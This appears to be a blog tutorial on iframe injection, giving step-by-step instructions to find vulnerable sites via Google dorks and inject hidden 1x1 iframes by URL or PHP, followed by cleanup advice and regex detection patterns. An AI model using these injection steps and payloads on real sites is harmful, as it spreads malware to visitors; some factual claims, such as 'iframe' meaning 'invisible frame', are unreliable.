Iframe Injection and its Countermeasures

Hey all in this tutorial i will be telling you all about Iframe Injection. Through this attack recently more than  90000 webpages are affected and it is spreading very fast.

                                  
                                               

What Is Iframe Injection ?

An iframe injection is an injection of one or more iframe tags into a page’s content. The iframe typically does something bad, such as downloading an executable application that contains a virus or worm in it… something that compromises a visitor’s system.

If you have a very recent browser (like Firefox 2) then iframe injections aren’t really a worry — these browsers are smart enough not to automatically download and run applications without your permission. But older browsers are more trusting.

What Is Iframe Tag ?

The <iframe> tag is an HTML tag used to seamlessly embed content from another page or site. (The “i” in “iframe” stands for “invisible”, i.e. “invisible frame”.) IFrames are used on thousands and thousands of sites, because that’s what Google uses for its AdSense ads — the little bit of JavaScript you paste on your page eventually ends up inserting an <iframe> into the HTML of your page.

What an attacker can do with Iframe Injection ?

Using Iframe Injection, an attacker can inject advertisements inside any other websites, insert malware infected or vulnerable site links, redirect to malware infected sites and many more.

  

How To Perform Iframe Injection ?

1. First of all find vulnerable websites using google dorks.

2. Then test the vulnerability by inserting some iframe tags using the url.

3. So if the website is vulnerable then insert the malicious Iframe code inside the webpage.

For example he/she can insert the following code using the url :

<iframe src=”http://targetsite.net/?click=2730375″ width=1 height=1 style=”visibility:hidden;position:absolute”></iframe>

For php webpages :

echo “<iframe src=\”http://targetsite/web.html\” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>”;



Obfuscate javascript :

<script>function c102916999516l4956a7e7c979e(l4956a7e7c9b86){… 

4. So if the client loads page, his system will be infected.  

What you should do ,if you are infected by Iframe Injection ?

 1. Change your passwords of ftp, control panel and database.

 2. Notify your web host about the attack and advice them to take measures against a possible server wide  attack..

 3. Change the file permissions in your server to the maximum secure mode.

 4. Download all your files from the server and  check for infections. Clean the infected files.

 5. Using a good antivirus software, scan and clean every PC you use for logging into your hosting server.

 6. Never use public computers to access your server.

How To Clean Infected Files ?

Use the following expressions to search for all pages containig the malicious code and replace it with space :


1.    <iframe src=\”http://[^"]*” width=1 height=1 style=\”visibility:hidden;position:absolute\”></iframe>

2.    echo \”<iframe src=\\\”http://[^"]*\” width=1 height=1 style=\\\”visibility:hidden;position:absolute\\\”></iframe>\”;


You may have to write a script to automate this for all the files in the server.

There's an php script that can help you to  find out the infected files. Download it and  save it as remove.php (it is currently remove.php.txt) and upload it to the root folder of your website.

.
You may also want to change some hardcoded values inside the file.

Then for that visit the url:

    http://www.yourdomain.com/anyname.php?c=iframe

It will search all the files in your website and if any of the files contains the given string, it will print the filename along with the number of occurrences of the string. In the above screenshot, you can see that one file is infected.

Note that the script will not remove the iframes from your files. Automated cleaning could break some of your websites. So as of now you will have to clean the files manually.


 Hope you all enjoyed this tutorial and if you have any  problem or question then you may ask in comments.